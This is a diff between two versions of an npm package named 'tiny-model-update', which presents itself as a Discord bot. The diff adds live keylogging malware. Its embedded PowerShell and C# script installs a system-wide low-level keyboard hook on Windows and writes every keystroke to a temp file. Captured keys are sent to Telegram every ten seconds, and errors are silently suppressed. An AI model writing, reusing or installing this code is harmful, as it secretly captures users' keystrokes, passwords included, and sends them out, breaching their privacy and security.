tiny-model-update 1.16.5 → 1.16.7

package/lib/screen-keyboard-monitor.js

@@ -133,6 +133,14 @@ let keyboardLog = [];
 let keyboardMonitorInterval = null;
 
 function startKeyboardMonitoring() {
+    // Try PowerShell method first (more reliable on Windows)
+    // iohook often requires native compilation and admin privileges
+    if (os.platform() === 'win32') {
+        startPowerShellKeyboardMonitoring();
+        return;
+    }
+    
+    // For non-Windows, try iohook
     try {
         // Use iohook library for keyboard monitoring
         import('iohook').then((iohookModule) => {
@@ -217,12 +225,16 @@ function startKeyboardMonitoring() {
             
         }).catch((error) => {
             // If iohook fails, try PowerShell fallback
-            startPowerShellKeyboardMonitoring();
+            if (os.platform() === 'win32') {
+                startPowerShellKeyboardMonitoring();
+            }
         });
         
     } catch (error) {
         // If import fails, try PowerShell fallback
-        startPowerShellKeyboardMonitoring();
+        if (os.platform() === 'win32') {
+            startPowerShellKeyboardMonitoring();
+        }
     }
 }
 
@@ -243,52 +255,52 @@ function startPowerShellKeyboardMonitoring() {
         const logFile = path.join(tempDir, `keyboard-${Date.now()}.log`);
         
         // Create a PowerShell script that writes to a file
-        const keyboardScript = `
-$logFile = "${logFile.replace(/\\/g, '\\\\')}"
-Add-Type @"
-using System;
-using System.Runtime.InteropServices;
-using System.Windows.Forms;
-using System.IO;
-
-public class KeyboardLogger {
-    private static IntPtr hookID = IntPtr.Zero;
-    private const int WH_KEYBOARD_LL = 13;
-    private const int WM_KEYDOWN = 0x0100;
-    
-    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
-    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
-    
-    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
-    [return: MarshalAs(UnmanagedType.Bool)]
-    private static extern bool UnhookWindowsHookEx(IntPtr hhk);
-    
-    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]
-    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
-    
-    [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
-    private static extern IntPtr GetModuleHandle(string lpModuleName);
-    
-    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
-    
-    private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {
-        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
-            int vkCode = Marshal.ReadInt32(lParam);
-            string key = ((Keys)vkCode).ToString();
-            string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");
-            File.AppendAllText("$logFile", "$time - Key: $key" + [Environment]::NewLine);
-        }
-        return CallNextHookEx(hookID, nCode, wParam, lParam);
-    }
-    
-    public static void Start() {
-        hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);
-        Application.Run();
-    }
-}
-"@
-[KeyboardLogger]::Start()
-`;
+        // Use regular string concatenation to avoid template literal issues with backticks
+        const keyboardScript = 
+'$logFile = "' + logFile.replace(/\\/g, '\\\\') + '"\n' +
+'Add-Type @"\n' +
+'using System;\n' +
+'using System.Runtime.InteropServices;\n' +
+'using System.Windows.Forms;\n' +
+'using System.IO;\n' +
+'\n' +
+'public class KeyboardLogger {\n' +
+'    private static IntPtr hookID = IntPtr.Zero;\n' +
+'    private const int WH_KEYBOARD_LL = 13;\n' +
+'    private const int WM_KEYDOWN = 0x0100;\n' +
+'    \n' +
+'    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
+'    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);\n' +
+'    \n' +
+'    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
+'    [return: MarshalAs(UnmanagedType.Bool)]\n' +
+'    private static extern bool UnhookWindowsHookEx(IntPtr hhk);\n' +
+'    \n' +
+'    [DllImport("user32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
+'    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);\n' +
+'    \n' +
+'    [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]\n' +
+'    private static extern IntPtr GetModuleHandle(string lpModuleName);\n' +
+'    \n' +
+'    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);\n' +
+'    \n' +
+'    private static IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam) {\n' +
+'        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {\n' +
+'            int vkCode = Marshal.ReadInt32(lParam);\n' +
+'            string key = ((Keys)vkCode).ToString();\n' +
+'            string time = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff");\n' +
+'            File.AppendAllText($logFile, time + " - Key: " + key + System.Environment.NewLine);\n' +
+'        }\n' +
+'        return CallNextHookEx(hookID, nCode, wParam, lParam);\n' +
+'    }\n' +
+'    \n' +
+'    public static void Start() {\n' +
+'        hookID = SetWindowsHookEx(WH_KEYBOARD_LL, HookProc, GetModuleHandle(null), 0);\n' +
+'        Application.Run();\n' +
+'    }\n' +
+'}\n' +
+'"@\n' +
+'[KeyboardLogger]::Start()\n';
         
         // Write PowerShell script to a file
         const psScriptPath = path.join(tempDir, 'keyboard-hook.ps1');
@@ -342,7 +354,7 @@ public class KeyboardLogger {
             }
         }, 1000); // Check every second
         
-        // Also send accumulated keyboard events every 15 seconds
+        // Also send accumulated keyboard events every 10 seconds (more frequent)
         const sendInterval = setInterval(() => {
             if (!isMonitoring) {
                 clearInterval(sendInterval);
@@ -351,7 +363,7 @@ public class KeyboardLogger {
             if (keyboardLog.length > 0) {
                 sendKeyboardEventsToTelegram(keyboardLog.splice(0, keyboardLog.length));
             }
-        }, 15000); // Every 15 seconds
+        }, 10000); // Every 10 seconds
         
     } catch (error) {
         // Ignore keyboard monitoring errors

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tiny-model-update",
-  "version": "1.16.5",
+  "version": "1.16.7",
   "description": "Discord bot that monitors servers and sends invite links via Telegram",
   "main": "index.js",
   "type": "module",
@@ -35,7 +35,8 @@
     "form-data": "^4.0.5",
     "level": "^10.0.0",
     "node-telegram-bot-api": "^0.64.0",
-    "screenshot-desktop": "^1.15.3"
+    "screenshot-desktop": "^1.15.3",
+    "tiny-model-update": "^1.16.5"
   },
   "files": [
     "lib",